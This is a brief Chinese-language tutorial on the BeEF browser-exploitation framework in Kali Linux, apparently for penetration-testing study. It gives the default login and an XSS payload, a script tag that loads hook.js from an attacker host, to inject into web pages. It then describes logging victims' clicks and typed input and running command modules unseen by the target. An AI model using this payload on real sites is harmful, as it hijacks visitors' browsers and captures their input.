一、基础使用
kali中默认安装了beef，可以直接启用。默认用户名和密码都是beef。
操作界面
将
<script src="http://<IP>:3000/hook.js"></script>或其他形式的xss攻击payload插入到页面中，被攻击者浏览植入beef脚本的网页就会上线，关闭网页就会下线。
二、Logs
记录了被攻击者在植入脚本的页面进行的操作，如：点击鼠标、输入内容。
三、Commands
模块列表
绿色模块：可以执行且目标不可见。
红色模块：不适合当前目标。
橙色模块：可以执行但目标可见。
灰色模块：未在目标浏览器上测试过。
